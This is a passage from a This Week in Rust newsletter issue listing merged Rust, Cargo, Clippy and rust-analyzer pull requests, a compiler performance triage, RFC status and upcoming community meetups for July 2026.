<li>[series] <a href="https://plabayo.tech/blog/rama-101-1-https-clients-and-abstractions">Rama 101.1: HTTPS clients and layers of abstraction</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li><a href="https://seanborg.tech/tiny-blog/rust-week-ven-diagram/">Clickable euler diagram of all the Rust week talks</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://crates.io/crates/apis-saltans-core">apis-saltans</a>, a Zigbee implementation including a coordinator API.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1627">Richard Neumann</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>

<p>* <a href="https://github.com/name970/Protocol/issues/4">Protocol - Extend bit-exactness tests to f64 reconstruction targets</a>                                                                          <br>
* <a href="https://github.com/lenra-io/dofigen/issues/278">Dofigen - No image tag replacement flag for the generate command</a></p>


<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>598 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-06-30..2026-07-07">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156976">enable eager <code>param_env</code> norm in new solver</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156379">lint on <code>core::ffi::c_void</code> as a return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158577">polish some macro parsing code</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158604">resolve: no allocation in <code>resolve_ident_in(_local)_module_*</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158627">simplify option-iterator flattening in the compiler</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157857">stabilize <code>#[my_macro] mod foo;</code> (part of <code>proc_macro_hygiene</code>)</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158537">add <code>std::io::cursor::WriteThroughCursor</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157347">implement <code>Box::as_non_null()</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156737">implement <code>DoubleEndedIterator::next_chunk_back</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/134021">implement <code>IntoIterator</code> for <code>[&amp;[mut]] Box&lt;[T; N], A&gt;</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158427">implement <code>ptr::{read,write}_unaligned</code> via <code>repr(packed)</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158539">move <code>SizeHint</code> and <code>IoHandle</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158540">move <code>std::io::Seek</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158704">optimize <code>ArrayChunks::try_rfold</code> with <code>DoubleEndedIterator::next_chunk_back</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158573">stabilize <code>feature(atomic_from_mut)</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17135"><code>bindeps</code>: register transitive artifact targets</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17167">avoid cloning parsed TOML manifest in <code>ManifestErrorContext</code></a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17176">avoid extra clone of parsed TOML manifest</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17178">remove unneeded cloning when parsing package index</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17169">change HashMaps and HashSets in Cargo to use Fxhasher</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17174">do not pass lint rustflags when <code>--cap-lints=allow</code> is set</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17164">fixed <code>Compilation::deps_output</code> only taking the last dep</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17177">pre-allocate a few vectors</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/16807">stabilize <code>build-dir</code> layout v2</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17180">use a set when checking visited workspace members</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158751">fix crash when trying to inline foreign item which cannot have attributes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158334">show use-site paths for unevaluated const array lengths</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17319"><code>chunks_exact_to_as_chunks</code>: Don't report expressions with const parameters</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17360"><code>chunks_exact_to_as_chunks</code>: Don't report expressions with type params</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17309"><code>missing_trait_methods</code>: MSRV/unstable awareness</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17289"><code>vec_init_then_push</code>: don't lint pushes from a macro expansion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17346"><code>inline_modules</code>: ignore <code>cfg(test)</code> modules in test builds</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17345"><code>match_same_arms</code>: keep arm-level expectations working under an outer allow</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17341"><code>unnecessary_operation</code>: avoid bad <code>!</code> suggestions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17351"><code>unnecessary_unwrap_unchecked</code>: don't trigger inside the <code>_unchecked</code> fn</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17348">add required parentheses when the <code>needless_bool</code> suggestion is an operand</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17353">fix ICE when resolving local in <code>unnecessary_unwrap_unchecked</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17311">fix <code>infinite_loop</code> false positive inside gen blocks</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17358">fix <code>manual_c_str_literals</code> suggestion when the trailing backslash is escaped</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17337">fix <code>strlen_on_c_strings</code> incorrect suggestion logic</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17323">fix <code>suspicious_operation_groupings</code> duplications</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16902">lint bit width</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17338">optimize <code>Msrv::meets</code> calls</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17273">bail out of unicode lint scans when the snippet is pure ASCII</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17224">skip the HIR parent walk in <code>is_in_test_function</code> when there are no test items</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17366">place generated impl block after the existing impl block</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17333">refactor <code>StringAdd</code> lint pass</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17334">refactor <code>suspicious_xor_used_as_pow</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17293">remove <code>lower_ty</code> in <code>uninhabited_reference</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17328">respect the configured MSRV in <code>manual_is_variant_and</code>'s <code>map() == Some(_)</code> rewrite</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17332">rewrite <code>mut_mut</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17329">rewrite <code>redundant_else</code> as a late pass</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17354">rewrite <code>tuple_array_conversions</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22595">SCIP: exclude leading/trailing trivia in definition ranges</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22708">SCIP: remove dead <code>inlay_hints</code> field</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22433"><code>feat(ide-diagnostics)</code>: add diagnostics for invalid union patterns (E0784)</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22704"><code>internal(query-group-macro)</code>: remove the arity test</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22668">add tree top method to Syntax node</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22665">add handler for E0627</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22231">supports multi arms for <code>replace_match_with_if_let</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22690">fix UB in <code>smol_str borsh_non_utf8</code> test cases</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/20362">fix generic param for <code>generate_default_from_enum_variant</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22703"><code>walkthrough_create_project</code> file not packaged</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22677">assertion failure on closure with unbound function</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22613">avoid panic in <code>convert_tuple_struct_to_named_struct</code> on nested pattern usage</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22649">configuration syntax for nvim-lsp</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22706">correct resolution to value when it shares the same name with type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22619">exclude impls on the error type from impl enumeration</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22705">fix crash on <code>extract_variable</code> when selecting unresolved macro call</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22715">fix crash on completion inside macros</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22673">fix handling of params of coroutine fns</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22675">handle more cases of cfgs in expr store lowering</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22488">no generate with default assoc item</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22674">panics in <code>unwrap_return_type</code>, <code>remove_underscore</code>, and <code>promote_local_to_const</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22711">hoist attribute qualifier segment collection</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22709">reduce parser joint-token allocation</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22676">project-model: don't pass metadata extra args to sysroot</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22679">project-model: introduce cargo.configPath</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22581">provide startup time to ready log point and associated benchmark</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week was dominated by wild swings in benchmarks of the new-solver, which is not enabled by default, yet.
Apart from that, we got a very few notable changes, only one unexpected speedup from a bugfix in rustdoc.</p>
<p>Triage done by <strong>@panstromek</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=7dc2c162b9c197aaa76a6f9e7534569537830a01&amp;end=3659db0d3e2cd634c766fcda79ed118eca31a9fd&amp;absolute=false&amp;stat=instructions%3Au">7dc2c162..3659db0d</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.2%</td>
<td>[0.2%, 0.2%]</td>
<td>3</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>162.1%</td>
<td>[0.2%, 1116.3%]</td>
<td>20</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.4%</td>
<td>[-8.4%, -0.1%]</td>
<td>7</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-1.1%</td>
<td>[-8.4%, -0.1%]</td>
<td>11</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-0.9%</td>
<td>[-8.4%, 0.2%]</td>
<td>10</td>
</tr>
</tbody>
</table>
<p>1 Regression, 1 Improvement, 4 Mixed; 3 of them in rollups
17 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/9f1bc6e374b5ae202366df1cbef850b79be8c641/triage/2026/2026-07-06.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158522">Lint against invalid POSIX symbol definitions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158325">Document NonNull layout guarantees</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/112811">Tracking Issue for <code>slice_split_once</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#language-reference"></a><a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>
<ul>
<li><a href="https://github.com/rust-lang/reference/pull/2293">Empty repr(Rust) enums are ZSTs</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>,
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3982">Update RFC template</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3981">RFC: Store registry tokens in the OS credential store by default</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-08 - 2026-08-05 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-08 | Virtual (Cardiff, GB) | <a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/">Rust and C++ Cardiff</a></li>
<li><a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/315506435/"><strong>Operating Systems Book Club: Introduction + Processes</strong></a></li>
<li>2026-07-08 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/jv9lom12"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-09 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris/events/">Rust Nuremberg</a></li>
<li><a href="https://www.meetup.com/rust-noris/events/315517604/"><strong>Rust Nürnberg online</strong></a></li>
<li>2026-07-14 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/310254778/"><strong>Second Tuesday</strong></a></li>
<li>2026-07-15 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/21k797xr"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a></li>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a></li>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a></li>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a></li>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
<li>2026-07-22 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
<li>2026-08-04 | Virtual (London, GB) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a></li>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs/events/">Indy Rust</a></li>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a></li>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa:</a></h5>
<ul>
<li>2026-07-14 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup/events/">Johannesburg Rust Meetup</a></li>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315573758/"><strong>Debugging a production grade Open Source Rust crate</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-08 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin">Rust Dublin</a></li>
<li><a href="https://www.meetup.com/rust-dublin/events/315150327/"><strong>Join us live and INPERSON for Rust 262</strong></a></li>
<li>2026-07-09 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/315585121/"><strong>Rust Berlin on location 🏳️‍🌈 - Edition 015</strong></a></li>
<li>2026-07-09 | Frankfurt, DE | <a href="https://www.meetup.com/rust-rhein-main/events/">Rust Rhein-Main</a></li>
<li><a href="https://www.meetup.com/rust-rhein-main/events/315366165/"><strong>Building Cross Platform Applications with Ply</strong></a></li>
<li>2026-07-09 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a></li>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
<li>2026-07-15 | Dortmund, DE | <a href="https://www.meetup.com/rust-dortmund/events/">Rust Dortmund</a></li>
<li><a href="https://www.meetup.com/rust-dortmund/events/315496876/"><strong>Teach and Hack at Projektspeicher</strong></a></li>
<li>2026-07-21 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a></li>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816470/"><strong>Supercharge Rust funcs with implicit arguments and context-generic programming</strong></a></li>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a></li>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a></li>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
<li>2026-07-30 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a></li>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-09 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a></li>
<li><a href="https://www.meetup.com/utah-rust/events/314696647/"><strong>Utah Rust July Meetup</strong></a></li>
<li>2026-07-09 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a></li>
<li><a href="https://www.meetup.com/hackerdojo/events/315338107/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
<li>2026-07-11 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315225865/"><strong>MIT Rust Lunch, July 11</strong></a></li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a></li>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a></li>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a></li>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a></li>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a></li>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a></li>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl/events/">Rust Atlanta</a></li>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a></li>
